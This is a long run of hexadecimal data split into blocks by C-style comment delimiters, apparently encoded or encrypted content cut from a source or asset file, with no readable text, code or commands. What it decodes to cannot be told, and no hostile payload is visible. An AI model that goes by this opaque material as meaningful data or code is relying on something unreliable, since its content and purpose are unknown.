c4a807417c47f21b058ed495228612b848fe9e1ccc46b4db1e970086a60daaaeed6460d97cc27d6f95157387ddb6ab1a26376a75d0f63fe9a1215558094a82aa82496157d448b91917ff1d3d0313721957746805a219aff0885afd4aa8d29b9be3c03ed4a5b0f55f86d53e12c51f68125b9a4e04038c1dc8030461d29f2c3e3baa6453c39b68e8af6ef6c4def06f908ee73df162754e4cc9eb11f8469c7112d4fd543d7b2ad745d6a97f4639555f9aef91951189f560122bedd40206a1f61a7a3f0afd64759e9750f4e1fc648748b4f65344be588c43c126c3ef155c92bb7c793cd391e4e3be0b35cb70f4fc62b67d2179a210cc24e417102f5c616a05c37556a68d763ff4512057bd7af6e8108760f61d7155aedfc25931faa710179b4a5336bc5ce9af22f8d742ef159fcede8fb3756512793416db3fa6aeb9483810bbaacdc1ea52ee3e5723c5d07ec6bb6d4f72e30f4c0be9413d56210299ebfd8a7d57243c29b1a7ba7b23a384ff632177e1bb2018900e58dc845b9535a65a52f7854a8c6657cd7bed7c7b85aa1cd32b64408dd2c7d52d00e8c0ea193fb5273f9cd6e0df10f81435269bf4a2ddc63c8ad2cd6861bf80fe22d125aeeebd8f811eebad8421dbe24cfac3a3ff326df3d2fcea0ae64f5932215f8fd152e46de031c23119107f13c73c3ffeb1fdc67d262feef08bf8a6bccfe2e824eda31e34a2bd64831801f89ff8c1d7e8021fd5c8da9a9bdf34b883783f6006ee9d23120e65f541ed3f162485a6156f3499909e48d99ea4adc5274997ac59fde5a45bfcb976dd1bbb8c8ec6ba457307f14c52c1ecc73e937c6d51018989a7c99693015152f45e1dd71a4fc88214dac06c09ea45d8c2271c87fedb4aaa806f45243ea8054bed8471d0575a971d02f440ab86ee9737bd4ca47f41e494eeaefc851cd598909d419c6b264b4e1d7751cdb16af6ee9c274de0e949ee9b8ca16afd7f8637d40219775c6ccaf566969133396b65075707bba40de802e15ec90b9d9ec836e320cad9f4983dbe8c17bd02c097f82e8561d14109019d4b14666bf03fed5d2248969609c4849a5e7f300a7121d1d08f8349f89caff8b08d048acdbc7b31e844e64d3d59ec9192b18788a6594650e70b3e294f56422fee9289462f1d68d009d2038301ce05bc681c6864544f7da1372e0fc2b4bafa927d0d015eef034ab242afaf9da5b876e4fbd042207d82e120873f7a98a2a846c85b9df648b228c47bde6950e3604d48e4c684d091f91069ea77c4cb43cface8906de242d26f1a7370b99f292c3fb8ea406cb60a831707024a8296d7a26e96144eac057a7fba1b8f77e58bf2c033dc4f7f910856ca6b43853c29e31af6ec96be4383fc400cc2dde78211fd7b506a6db1bbcf34efe827da095e47627fc052afcb7cf5630bee7554a5c9f73d88b6210673c0db299c3bf8492b5b4d95a1db43f301a35c5e5dde24dae20c3610717041aa9a0ea355b8b41cf0503abcbdeeb9f10322d96a4f6148901c698ed526aba5548dd6556ca1d7e25012ede3f2b42439a710c954ad3140c91dbaa7f6a965aa9e449b33cc0c7bf45f79855436c088b49edb35be9924202d0fb99b7e4488d6a636329ac2341d30ffc50cb439512d9ebcb882b736b171bb2f31cf69390fb2dd5ab5e370264ed86bcea33fee5b4489345f67dcf91381568b8141544c1b460f370671cf4ef931845baaed49619f74ef921dae1b0c23e107c9ab4c077bd8b4e182d56e3e2fa805ed31cae6232164563170111844e48e6e086b0a0c75a02974aefcf2bcae1b3543d24e8396ecec1f836eac27fa4589bbba91f900b77495b66d65a55677f00b17d5fd6df7f7fdb1e16788a98dcbae00220d5098f80c023f162e558d9c4ac61086044938ba3bef98d03cac2d82a3538c1791515eaa1688ecc5e0657ea97033e1fb2f1102e57340019e3a5020b37e4ea6480c6fe50e6c8e0007d3d3c8ab762ceec3743faa72041d8d693e41fd1149736ff9dd702f6e3fc2a9ec750d0922a9fde9a232c1b98cff4b6b11a58e1484d295605926ae7e262e207263bbbe678d349ced4a9f512367b1032a37a28f8db4f990ddf976a559f566ad5f5b7cb9857cf203e*/
/*5a4d4d0a0e1bf8aa04049b5c068058c22eec591abb1acb731a917c549413a99bea41139e010029a51701c4527cd2ce474eab61f7454877ce20374ef7e48093ce39d785e87b591463d9cb28546e2ce5976268be6e512638ebb2f1ffb5f8d062f2b4e3a45797086855c4dfca2069c489941a74298c945d3350f884d2fa37c26144d3b46a4da6a600993d3cecb6296215f3fd74aafc2bc8ea2b9f27eab6204e43da4396d9057f8a39e72688c482aed9a0ff73008090fc77f203ce69638e7d23540244911b4d2d91c12b6ee0b53bbb7aa13eeb04473c8c89bded43ac5627d6d59897349dd7f3dd3eff9562a373cdfb98767d69544cca0ec4e24c936857cb160f627701653b5f225f1dd96e5276ed80e31822d1e297c2c47ebb67e1e916f422786c03696f17deb1e21838afce16f241a3199983959e8c9d02cf45731ca264f3b00306577656d9a7a97b24547b489367cb02eb0d1896d0883b81fc355ac09f47fea71506616a75296e2267809c5ffa19406feb21dac9931df8884816fdd95eef0ac97c74f680c420a0d8f48b6d7d5fc2d285cc4e2438ab8e0e79d5a8f2243bf3af9593abbf0ea57abf66484db7d33c5da262e257712b3432e96308b181e4d21f61f7c48eb009d86abfdbbb8cef595290879ea6d7ccb6e95b8793241593dd65664ab8f3a3c23ce365da5b2f83dc37f3a2cac77f138402e104056cc4c46088cfc9df6a0c9556b1b61d3a9684592e10429d04422bce99efa3d483069134031f6d59c3efb7abd8a69b4fed89c48ec30da27becbb98c4531ca0af3faa644143de16cc492bbe0747e319f4f6666273d6e2045c6ed3f10c3617331f3ec69d479162e055db5685e162bef3afe1c027999ca131bc1e6f3eeead3963841f2da256e14802751fad812c47af2c0850f7c8b1ee519879693d0103f6d690d9dc734ceba5b0d5dc424fc4fdb6235dab838e1f9111f1a7f9e24fb3b433b81f5e2aff8cfbde8929f9b19828857db526a01e22511aaff1ca09d4598db514606e3555b1a5fe4051a83a56f5ea6014ed01a5455fc1f0fd6dd190956ebc27e5a72455ae94be74f5b0b750c9bb923ed31523e80be0ce7c26b58463035137cb104a76ab353e65d9fc4f2ebe3d17dff3fe7514909a6ead585bfea229ff9c390eb4d4f3fa38af173664b3ccf55d1bf547b105d3785207ec0c4d3f60e6242ea9808676bc55ac572e215ad12692cc7f6260ada21fc115c7b4a36d8148347e10fa5515c48199493e2b884fac7198be6b6e9a4b28ac55f08a4fdf0fa468558c07750aa4d6e93ec6f16d02eb42cf1c929bc992b3cc1ad3fdcb5e9478ee2d16a738921a7b537d1a53acd45d0c83fd656cc1e170518bf8670955e0da19019a67f50d0067f1e475d77c7b4ee87025a9b3a16dda34aa3a3f79ff38566b1956a7ac6ef25e1b2bf826120607f5134a5d3b7d792105d9bd550c77fa7f1dcf43e27a74c895d06ed5262c373e5745f2d840802ad3791802c366affd44a94cfcfd8a7bf537c5f981c37b4f66cd82f0d7d39817718bd0d557091e7e19db142a6ef0b0d5d1405bdfa6eaaf2ff5ef8fe2c5cad2760976b1c147e551395abcbdda71a4ff5a917f9b7d956069792d91f2131291a17b4ab2962393977806e711f875ff36498f33f4dd2bd15c4bfe90a15101e4bb99fa4cdf7418ab068710e15066e488d0b487bb736caeb78a9d081afd66b5ca8955ae80ef3dc8800a9b8a7435d7e630c0604a21684ee1a0fbd13ade2e785b2e428a9f7ada093e9fa7b38564e414837df8b85cd2ac230ea0fca06e93525b5f3c869729bed2c8cd121f4d57dcd079bc4b5b20cd8f7f89e288d1907b2b9ad51327812a5cff56ba36388fb16977319380b69994a13c4cc4b18447665f0a53ba82156baf409ffc267a714c58fe160de86d33004118dfdcefbce5372d12362fde7afe4628ef7541ad666e3f0d8e10c863cfc738b1038ed92da1ce83933178328707c3651681ee21ba26972f014b9a9f33064e7a42a0a09e198565807dd8a3c56a6acdc629e13fd783ea803b3de9a844f2602b50aefc257a2c83efd096190acd23deadda870d6f17ef73ce1db69234ce8e12d1816812761f6a34ef90af5a1786cf8b047edf58130e7c5f9f54f7bd2b6d46f69f74da678404ce49a376be0c0bd57454d876865f3525073d59d147a7f00d24f14598477f886bf97bcea22a8020b436309e7b0b57fb39460c172dc403878aa4122c33d086f0993cdca4b4c14b26babbb8c4815d2e42299d9f9bc00e205cc36b06469d77e5fba650703bad65d1884ddd7924e07e491cb086d135a95fc378e0217ba0ba8ee6a9276d94810254ee6f208ce0731421db2a145d08e3516a5ca4bfb09777e1daaa34732ab6f3504408cf0971a87407721762abec9aa3da0efc7b5fc770ac65a7da032998e556cdf33d70132c848023a42c17008fcb26b1f6dc9bdf114d1d20a869e8ae3f7301aba25dc052ab9a6cdc2cdd2e89d71de9ed5a1ddf28e4af09e1e06598f99785b9f430d50e9d598e51afcfe3cea67865151203265996c2a1c7ba56528f168a0192b876b604c40524b6d95e4eb3ca76a3e6647891e96de3be235e304e46005b9540ec7935f93d1e2794c10f638a26b5c6eef29efce6946ddb135d77aaff9eee9d3304bba83f79ae0f31c49b91ea2319aa4249c24dc527b43cb936bfdcba9a05ad3a97fe603c7394828a74b473b7b5de6afd7769fab781e9887b3ed68d006f6b727058be52061594d76d8e49a867efd6993cd0f8a3a1124e66a5cd94864471dae42630b3249f87b8a2e923a14aa9ee1a68251cd3a85d9736d40142168130aaebda*/
/*ff2f9ac4309c35062b3c33c5595a1d8f2e20e94c497404dff0aad30036d5db4dd135a51211f7c55a8348f429a843c114e1b5fc681b0491f2bf3f903fee108f1d5c89cf70f13e903a4f8d859d93a0cc02dacbbb91fabdd69bd22d922a651929263e2f8f8c347d837040a7da8f5c0c3ec6ad1483e6071701dc0b8cb260bd828e3618ab42598e2c311de0f2f808d74e649cd81fdce6ab1f40d446d011e9c976ef858e317a13544e4d47a8af3160a914a2f8be0370fb59456d7f10ddc2b19afcbe6ecb502d06017b3ecfc0d3c2247238794a08a2e667e39151e158363f7a27cb0ae582be97db4c8cb78feca5d023415a93afcede04ba754015c34b1880f18300ad78786d17402e2acfa246843d61761fe918041f5531345cb4d607a29a1b9af4c237151de8d78833639e79b768bcc1f03e97af9d72b5954bd93f480b304a9d049a45c81a1dd9c24fc70c01011062e19ceb54bb5bdb37b1cc5a6834d51c705a8bcb588ce5ac3f52f15438cf2cd7c18f5e3cfac91b6bb6eefcb7a0986d7f014283768dc12a648a65c72e3737588023285e93d2b83ceed0a1865ce785f63238b938276c4319245b1816c94e21ad16af723ae5efe1500d67a916cfa776e9fcf24643b3e1fb91c4f2d7f02a49f3edabefa36cfd8db965f61ccf091bc29190fb2cc372a5461daf07c558e5cd59829c402c961c21e09de1b8d83373f109e0398e9d840aaf7d99819c817c415138263db9ea96cf4d2f9011629106047e1c83c61e12d994d3bb692d822710dc0ee7932a88347209f127ac41cae3e7d4ed4168197fac0688b40ea21fdd51cc16a07fa2736b0ac5adad0da9f5919bbe92b1678f047b85367ebf8bf66eb7d4e701318646a1c24bbf864cd4185a22983801d5966bd8069ff628c516914e986a5ee72c917ddad0e4fb97af6e650cbcf8309c465f1724c0bb20342e8085c204921c874b382b11de8dfaaad40b1d4998c524166aa051f902838a28d57dd0c54f4ee05d3c71887bfbc9c421d4444ca1b0c82d0a35001dfd6cc6e58b8f097ee56aa60188d1e0ff71e2b221dee06582b63462dccfc5ba4998cc96bd6fa645643f8d596916d7bc145f19140e1cfeb393f6f25635400490ef12999942032f27f476bc8df080e156370a0d8c5ecd9c9955b1da0152b0056b6623def9c960aecd082f14b4914b5e500d437ea905dab59e42cece3a1da24daa599ed40df145e82c110027e1372f1b27a25e243da53704b142fc89717e93c97f28e1827c61b31a07d8109f57d85f1629ca729b6ecf6f5d8338e5fa2c55853b50177fc0c7e5c2e22a2cdf3b25bc74fab9d9540bced8692710b4071b77099f0621483c5bfa9e7634573bf09f0171b17f0d88ceda9ac01c9ff3bfe090885d003192a16f117cfbf42abc787a7fa5bf4ea77dd9ca7f4b27a608d085591ed0f50e9f2d8e82839c07f44de836a4128f9db370ab84d4f42b092f567a3c1b440d225dde98520d9bc95c47c87c69d59f5539f32aba5b37e57df6e314340f5fe578765a740b087e4c69d21745fa248632059839319f5198f80f48816af4e31882e877559f8279c5340904f81c55216e073a20aaccda3eadf57a8638197ed3eb708b42a930735f2af0f0ad1f6860ac2cacc110f39c328c229116c33aec33f31bb6dfbd29569b6685e8b9442b335c6ecc37bded067f0f505a86fd3018c681af95a6a285aee9ed1c018640d04e7da53662c1bab2b597115d1ea5f729f3a6e4dacfd357f1bdc7e58ba7e4cc1d6e17026fdb7e76456de3869b38be2a4ea98b838fc651be3ce1c6000da87a82a064cebfd486852db43fa33ac6b73c402f50780fa8420939878cf8ad19630ab5316e52ae7dae62c97cfd3995a20ac5cfd3b0a184d6821e5ab64c1acad8bd20b681c541b0911a68b0cf81e3168bc96eaac532f27a76cdad8a3f5fe0896040f5467b949c4ed4bf272ab4b867786be1f4f6f48af492d3bf4e863247ac86d441f63e9b956ea36c172cd0a05bdcaa0bf377b2e2923ac85f9fb81a9b89b5969996edda14adf85ebf5f164d56ed7c3917dd0bf75517f3882ae4247c4d52deadc98c7404d82013e3b5d8497af07abf5502996eefcf7db17f4e13ee978f487797762907e3d3725fb86950a02a52ddb0ad20f83548bd377a18b208bd5f6369cabf2eaca5c5f676014f4d2de0b30f23f5e31cb3da269087d6b692993938f5af6476e5fc030bb6a920aa9fc637fc32f2785ea6b2ea5cb4b93ac9a9ff46e9e857a0a691c34c5bfa306fa44ddd4388cd0b456d8892a87082fab50a245582f455dec58c668d7e0c6d5fc63a5948081a456a499d7ea016b4a9927aa692cfdb026afd99a84973c8b589914bff11c1cfcb0d37e45b62b10f39ba4737132d5e9b89490f3f37609fc62cd439aac4dd1ae841be7d6fa51d7c9d8bd5870fdeb603d8c23298f913b3f324a0bfc6a0a6655d3e0327374c1477ad98e93883f99f1fb220c4222fb0320f4ba3c08cab15b6081d40b4e6d427c97b4835c0ea6f1763c9dd5bc41eb19c1a11e76317c63c937463c6aa074498793812eaeb6ab60f191819bca7977d9274cc6d367a64fd8bb7ae388ac6b90d0097e5837a113e4d48a4ebbacfb67fb3a1ea2d1430d6d47cd0cf94945248e1571e2926ad59aa235585cac567b9dc9e6f0cb7667b9e8836d7b2dda166180c65129a093c1ee12808eef136ae6732c02cbd3687953d0a64c9042607e79291ea86b215db0dfeceb051fb5add3a87e31f8844a6d09df69be142424655e417983cdcd280ffc75563b9c71fc333068e6a495431069efc2909ba9ca2f5488aa8a51086098da7d2483e6ca3331f7dae*/
/*98873023ba93a497b191d7ed98470e03a37a3e45560f7b2b8dbca678d662fca297dbbbc730772f8f5073ad286ec13f36348c71ddfecded65820fc9a3674fa08b01ed66abd616e6a33396817125853a51ea98e8f0d7a8505ab25b97cf9df4bc42f4ee9bafaceaeb91e415641b9667db76bb730ac96ad492e2b4aa4cbc75c1d9aef0f50203212bb41c6d7643e0177f2e66724472e09c5daeb511b8d9c552b101df60753e6092f326ad4988ae7574c05851ae3bd290ab9e255f46dce5c4b74894e66fa760adca4c73618dab23a96fb0ad4cf368506810435137324fd09b18d5320f005b759e44047d2f6ca62a20c6f3495eb36970b3b897f311ff9cd8e21591de5c5c120b504997e9728cf3bbcec94f523cd9fb5e0ff8dbe82b59a0fbe57d151053e9065884ee5d023b9a05b5abd6f6d0f115e9497dd8bd495deabfaa41c3f3dd3a11cc263512fabac06fb4119d4f18c730a8a29841ce90060481fb57b3cc27ff34f4eb902e9efea9a7249d56356edd39c106fdcbf8b8cae5d74117fff33c4d6c0e2d6dc9d10532213a3de30bcefdab8c56c3c0e4bafde99266830de409a897a6c0ba60cbd1269db79c2c2ab9b79da853746e2e59db633930c89f7b36341c49550eed16cd306abc36a3e2e42b40de97cad3e2cfa39716fbb5e7b3e35e46835a4894454a84cd11533ec91df08354c750c50d565ab65e9d3f80ccc4b75b739fe89a1e9b806a50c46ae64affee17ccd209957edb7fdaa06397493e10f2a3826c7ac7ce050a1b39eca1df8360f4e591862bdaa96038600392ca12f1668e4320b5e1e52fe9153ff4b075af66e0663435f23e973bc6ab980f99fb025a1ee96d66168292d0ffb7bbd0be23000567287b50a8af8b38723214824e0b75d4e9d8c7115cc4a36d33799fa0f81993a14d9209231ce3076bb8c78b21975006d3c2271568f3a53038a8bb226fd4cd295b5575c710980ff4243fa8ae76dba3fb11f35373962b348128e377b37d91dbec88d4bddd20745cbb39d770ca21fde3ad482fd2fe40b29df2862d33d9ecd263e727062212d9c090f8fa47f5b471675b4d914b32546ff6e10d366575d646fd3db7d04048daefdb462fd98b86eb7856708304c002bebe161bf2c5b09ec2e9ab53075f9fbc412c51d18b3711539aee6ee9acf49d6b5cba71dd1e188e04748fe542c3613d34ee70294eb3f84ddb213ee73d5fb09bee6d29b82961fccbf5ca903a3fe3a2d8b111ca22b6fd8c71c1bdbc1f0de01518f77e2354bd39483628ae6a5b2c8dc77aa552b5619bff074998d20f077c5fe4a567989b0bc3719d6ea3ab29d9bdad7e2ce253663cd2d7b2ac993ba3b2c2744e1d745b4ef58ff730876a82a797146ecd57c7efa2dca0722c81db96e6e4c8ba171fdf8cb352b5f74197f3679201e5bbecae1e226680aa799a41c45dab5ec9c63e1506bbce4da184519fe5f25f934b6cdc1e9fa0f60f7e776b7c0c4a2be41ec1f2acb7519237121546f1182eeb1d27af2bf5816fdbf86b620de99c317832ac00820b761986ef9ef0a23225c8872fa7a1b7df741b950ccb5c456697dfe69d12b3006fe2ff7b38f140203b93617c47ef72cfd1c5594039d9e84ad7f08fbb8263b81dc286cc4d76e0d8acc097048e7ab6f946e155775f1202f354610199ab34cf8d976a875d2b5c50deddd69811fa06eb62eb15d4ed7d6721ddf2ee9b661baef938956528907d0cda8f7d69f06d0b1e042b0217d14484346bb55c9afb7e3beabec6ca56c8ef3ea52edf51b8d8c7698079612764f0f0323997d70142824351e054f1d62d98b4a00509fc56e0bd601fb012da12b5b481eeee2584a3bf172b54765acc2da6ecc5d0d96c8ef44547b6fc94526f36e151dea041a391aab690cc64f28d1722254377d845de33cab1ada1a78cde481aabce10d9943bd50563177a259ca16eec0c16dcf28cd273689352cb626110a1a22598fbafacda64443923185680503a19ac5af983e2576a20d2839ebe9946fee326d0cc9a8473e60ad51af97b944be0581b544e7946d5434bfdac228b97555a3d5fe67f25134047405019382f9a5f1c9e03e4a570ad67c56091ffb4c2ca2032bd6225e929620584ef0494137b19c1635dc7b077d9c7c57f56313f1e3fffa1585d9a971180c75c8c2eadb07cf935f3b24eac04cf4be4e9a5ef56308af1eb4b4f057a492eba826d4c9c5ac2ddf5d4071c2b3404b1f9963eeb469edb5717fe972295d537a605a15d4c45b58ea8490c167831b9940a78f49118917312d694f8294166cb645c4edcfac97dcf42517dbb5edf187d69b867ec0569f45734746c8a9411894341a91dd71258b353746e94d100a199680212e6f4e7c1996c185404fea2612babc7231b66897c713cb31c41198181b1b436ae3faff1547df19d8b5f8f815a13adf996c6e7585c974bf52ea8d07df82f23c345f4943def862cd30de59bfe17107bc292ea425fa0640e3cc95be791fb5ba6e03b5af91036a0c384aaf3d861c80f4c17d14f66f982217f0ee0cda35ccd8330e33464b0b8f1c1fc5d69fbf700c50b8926327a3b38996e995e5d54e4f286d46290f49ba5909bcb7bc90b9127ee3c2c71efc222fc4fbf0a6f2865c3cb98dff4884b1917b722363870fdda2ad6de1d4a76a05c67b3d459a04a800db4e99e991b9be1e1543dc5788298d7b2f5de28d630fd9a36bda117a31e3ee56880363655eea02455db1c606a679ac663ec198596592fab6916d0862be58ad927464decd6d97e894a5e70f1a10e489faa84c992c6cd8d0e9b0cf2cfb489ebb7a43e294a128140b9a11dede74d2e5213cd7ce3e0dcc1d788ae8a98a844fc*/
/*f194b460346adc545ab997019fd1247463f7b8f17135e90dea34d71bff289b051ea440ef97afb32be61335cf4f9c8635fc938ea41fa92ca1e2922005a1e11f269b3326e2600e5d7ee10da24d47a656d5ded5a8f4ce06ff9191fb960ab004d711bab04eee07030b94efbb5f6aa08fe12566050e969fcec1613a51ef54a1d9c38e08fddd82ede0bf8030d6a9669b176bfd63eaef634b6f3cc9fb871a6c6294851f726855eae6cd2b47211472a48450d7bd57af412358e659c7686f29c87fe577e18ee6a83924192cbb0ffae2f4f4dd651d32d19b28720054cf0264e07b4a364c125a6bb97a88520b10081021209b0bc49d3d4a73a077d614b9235c44fe5aa4e6ee60fbf515f0baf90753cc7fcfc1b676b966a4e537fe74d845267fc4a6b0fcf2b6c7604c6ee6cfb0932b1e5aeab9d6d55f9e8f8a21faf48eae19780f0ca49ddb8a41582ef1a0440870da26d7dcb9ebe913c7d720453f25fe41609beb9716a09668d6c051a9a19cbde63e1ebb4c39a87a6547fbba09f666dc0e0dcaf0816cee0fd8cb2cc31696483337da14fa84b353072c482f05bcfd45bcebe1172adef1d8c66729a076c0bba1e3fd7b5ca3625586d350f3efd8f4b32fb275c491ff0d5845f24dac65ae82edfd2ae6f19a4e70394334bdd1852e5a4a1368dbfc919d3d239a61534190c77010eedb8d64328f1e29c07107fc3f71e8ad1e9a2b9222bd0c82ce5142dd024ac51449fd1d007b86744f5f92a4ad1628d8800f595cf6d5aa3ba9d2a06199e70249a453172aa3c828096963e85dd27c4a5663fcfc183b43d37933937cf3dc76acf08664df256793f258d0429a691357ad3139b360ba086d7fa8600db723b34f690d8c65b91d3880cf257c700e02aae09f5460429b7311ab3bf357fbc4d9c559393048eca4de3433446d5b2f00d6081310b41b5f32cf29a0a9eed58cd596f97480aa49059feaadfcbab1e989c2388e3a5152113b79a0a6c543ae99f82ee8efa5d6ebf801af868c3ce6d50b28f119086195a73663605f0f467e131e8e74ccc600a75477788eec717843d06b0524eb7a0c6b6f93646e8a192e396f9c411736e9f756c3e3c8b4cfa2d49b2850043684416b16873e6a41d807af96ced98e09618e12f67251e500398664accc2fd5d4c64f1dddecab5976b8b35e748932489181579c5c76ffa4b609ef74c7840fcc17e2c0c4cfb8892417edb1a241905743974ce2c96794888dfb49b7a2370826a1c073be04a594d79c4781a0f1a17923b58e8c8d67af6ac77b0c65f26620a4be9d2ebe3a06d023d0e45e5d68e2d34780d949bc46d5f88874cc4aa7a79ad7eb899816497b78e786f40da78190850a3f66c9b054c7ee3cb1a863d3ac348335832dbc2b777c3a67e02c509cf5e4e764e1d11f19099d1aa5031870ce624dde4299c2309ed61b737b93a8b554d8d2cfb40147fec1953449b1e638a43f8fbf8a808c14b41a4d751e7332248dcee9546f0a80ca1574a5b50008edd5f2f031eefec84b261c2aed8eed21f5640a61a8ae91f8eb1c2ffd93b7ce03eb19198321c141553a5be0727cff5369b3a698cd62c5192f8923850d89fb7fdc01333fde7b41b493b52e96eb2075383292f24529b0e572a54ca3eb74fc78faaaf1b7a3195a5b1a1091c54decff9668b63943720649a522642b9fa8c1011619c917e116ff8a04a32d9a8a5bd8aa0d3d91df42e1621ef6187cf1922b9bd7deab9567cb83e54362c0dd28c9ee2664d5a1ecb30bce2d2548ff4e9b2aaf3a06983cc5a882eb68a5db55981ef925ac1bebacc381916aa9468d2456cc342f8a41ce1f3c1d0b62b5dae9aa25a49f7fef7245b07a2baa212a7160994eddab66c703cedcdc80d9cb0e1eb3b2f025826f1487215b9f4bc5920ca8afcf97c4b7787d75ef638ce6728a5d26ef2229525dd71aeaa360845ff4a1452d576e53a91f3d34e26403d80057e958d7a390e7cad1dc03637fff5419979aadbfcdfd1a110079753f82f2ab69b7ce63dd32aeefdb2cb99b023060e3e2e4600966fd5ec700aae9f8a411aebe72a00bd88b5e8cbbc2f51bff10def79e77f805205e435ef7ed6fae3e02076fc5d9f872ad99bb7f68a54a75166fa924c3d046dd6098aee27edfaeac6934f70119c713336135e3a5f7a732beb879650ed6de4cb80d48c4fd601e0e00e32e2b8fda15de9cfc0409b95714ee23de0b3579e26a91f3e58b9a7c5a67ce27bf655b35c5f3a5d2a0f4ed5b6ab1ff9387627011586949e4eeb693461d8e218dbfca906d9d25b41afb3e55ec8b7624b61f0ead894317f9f22192cd15ea2f7db6dcb40ad3a5d7082cf5eb8ecc30207e00cf813eaf9ba89ceabb4b11f66c82e838fc6de359f018a58b6111e7f39b6dea1b021263060ea2f0db16161b78f535fe6c8080be5d9ec5d221d705eac565d409b9dc2b258a72dfe206c22f2248f874f698674d28b421ccbf6a5dc1530286f8a638580d1ed00bbb7b58f4ac9b477a27f63b4b6241fe3ec17d40287f9e841450b79051e2d5094a2238009a4f4f647f6a9cd937399508765efb8b3199f67e456e5e73295838976caab660f57afa2b48897463da90ba161dd38279f7d7a6eec8762bae562a30a40ead7c3cbaf2b9d347495d9d267d85be2298d86a6d613bda7c437269d31aa97928b65473c0174115537dc6e3404cc50d5eee449edc921ae848fc394e55cef42ceea186ed803471503c100ac6a831bf0d51061768fa69f4cfa0f6de0c022bbf77fbe183524bc4dc016598d480048488ebe185ecd75d9710dccde5c5398bef5df2e97b4f1f2eabb40b9758ef08a1bf4fe07bfb8e1373d8c194b4fad402ef8a*/
/*c138c6583344d6ffe64091266576486ca329547f772cd945a0b791093d46aa7aceb6b2028665656051558144f56aa6f3d225632b2d40b52b6d813b3d9cf5f84032724b8d5767b881866ca5e878178e8ff6278440732771baeb59439ca3b407e0a2428a10fdcf639f2297dba7ddc7f54ac4c3167edc24a9877c73af7d21ffa9a2e9b0a2a7e1b9bdab38e09dc6c0e0e37f5f98c6376a03debc4523da3f92509b62f293fe881ee194491bf073fdc12ea12c72a5a617813c484941bed61fc0302673de47c7e571d695685de5dfe1451d4ca099056ed774b8ef616243a9504c23e0695f26e6774f5f3492dc3e7f6d6772a480188d20b291ccdea05c657ff7c98c6e719c45f19642d8d7b6a1880e169a553c5d40dfaaf1cf36750883af51ac8471d66f951a0aaef099ee6cbb915599004de72079b3f2e914eac627f8d42d7b4ccaa0e5a30f220eb87aa7bdbebf010275dbb480c0b705b8510d063acf6cdeea3fc1653aae6a4bdfdec7c1a0f6634e181825878a6cc9e12eddd747f133892033f90d1a8f677eb415f27d2bf401d1ee2f112560005463d71718010247fd178c86bc3869429bb18d117ebe9f1627c6b1afc2933c9bf7d89d1fe212c5943538b9419a6efea2e4aca663151ff8e770e7962a4b977621e01369e2c00731256387ed55af1ecb27ad72ac76a8b6173b565be3ce6e70ae155b30d9221bcffec234a1b9fb4ee07f3c59f9b5ddb8ef4eb9984fa6bec79ba7ebe97d58dd374302a74581e3ab316a26e65ef1a890a4eded53eda0b5b8debca8c240afe7b3db9127f308fbfe72a6a883bb2ad495874b7945069f13de776b09781267b3032f676913a3a9e500140d09295f91d9b963c800b1f2917a941b130d117d10e884a1d17ade4aa5bdb5d0120f17db7acfd18eab746ec2b3c4dced0c7d640e4081516ed739812a3aeeec1145312d8aa7741af3df42e48401b37477610488e38834538ade71d2ff5da848c6f828a8854285a94b50f9e32c6bf1b9a90778d4b2437d1028fe1aa397a31e2e52cf8613633386fd6ae768a9319ad19f9f1a94a35f27c60cfef43e2325e90f6deaf052168575c73f76eb944ca0b859248c25822cb91ec75adbf7c829a8112c73f46134bfa29b9e26f20b221ec9014ce8b153dc5c266054c165ea175a95a85dc092f69d8d87a9988d8462840324103ccc5935ecf859548c7df0a32ca027d507b320feaff3f7dd4894a00017e1000ffae98634ac071ba9ac81254f782132992d4afb41b38a378a934ba8aca5c6a1e1a7b56ee055c765e97172d4ede5d6dc67890e875292ab0abceed6572c4940b02fd4a38b3c65c99ec759dcb7c6507cd2d5c8bd5e7a0d043204ad9019396c822a5f91fa231987f8751ed7400c55f57fccf30809728ba01bf2e9cf6d71f466ce1dfe8b165c9f4edc58f7094e6bbac8f72c4e83fc472c840389c89272f5f7f33e90f8178041764fe29f36ccd06fefd8ac8e7f03a4eb718248ff11998571ce50de571667d38a2e5d2b6d414159e9ccef85950192d80ee2f1bd68b9aee022725d0b8b3ca423da6ae04ba307155ac1c753d2010db08004dbef3e82bb6b86283dabc0b251727b2c9de18f6ccc985a09c32d13b6c044104819bccadb1b3cd5dd1294641ca044b77f4659ad6e033ae8ed55fbafb140c3d547dbdaef410f837c96bb1f92c77e26863870ba8e6640788b0a95ad9c0193e84f49b56685230c03426f803bf6a003b40926e6552d689b8c36b2eccb3881fefc7360e7d99f0fdad704b1e103e2c9035209d6982a2d1a82cd9b3e20083317c2f54d65198dc3d0c21b1c4da58c726b482ab537b0c9b6a19f0f1167cf359f5b44a7e4f1e334e1b5273ccaead3b45f8e6f32faa3eb0aa9fa30a13fde9039faa82391bb5bb86d16c87f6139cea9a4cd83cf1f64f599a9d52bbc1d0245a92915cf79b2f233975c0c6eccba5022490a1c6c3e70cd769da3fe916210186473d5c94b4dd028d5ed9d2d30951e98ce9a23def496dc657f1b48378f00e65bc0bd08abbfeaea0b80d1c341a31dedecee7f0b9744983b758009f04fe86738e72adf031f77b140af7db1e75b4ed5377e20342514bea27e729541bd1b9718c2b6607df8e57bf4232ee0e5d3e85653c28817b71d9df2bc15c2ee0299f9f5fbc4073248a33be6b4a004d3fbb14ada6267784d3319e13ab8c0955d171a44a5906923e323c2a2f07e0eccd832d2a318909f408b7490dd505cf0b269dc9d6a78d3c7845e5db80116692d53abd481eddeab261abdbf5edd8596db12f4b39819718c174294339ba0c700c53b92c274ad23b3bcaec94ac56642f78ac8dcfff99b24d898bfad1864660013f391c691270d4f187813fbab8cb512ae1e9b52f8fcfbdbc16f989767429666a18f33c835b4822a6a52a8feeb8c43929002262984e2bb81cc264120ef16ac897f2b48a3f542faba4ee635f932719a82fa94b5cefffe337b99006c71a322af3f7c0640a3449d6d83ecbf8f49c373b1b45a163ac783fb0e272d391cdb3763d572306edd2f1e0ca1ec947a9632924a15fead306ede1c8e7577206a65bf8b5c8036716e76d88cc108317947477df7260bd9d8fc63c721fd75489da0392440677136735a0f2a1a91f40724a58900cc980ce4b8c4a8bbee1424166a3b0e2c241cb7388f99f7a9b1f41dc7b8102e304ad0f53d9fd1d977ea9fb020936d1bd5f493f961ca2d095a65f3178c5bd98ef0a5f5b79ef62d36b38eb3d5af91ca109e5e7d0aa94fe7df433e54c9f6e29f4bc98647c077f351895e41240ab0320e1d3f6af07d75c7f3aac322e2687ad7e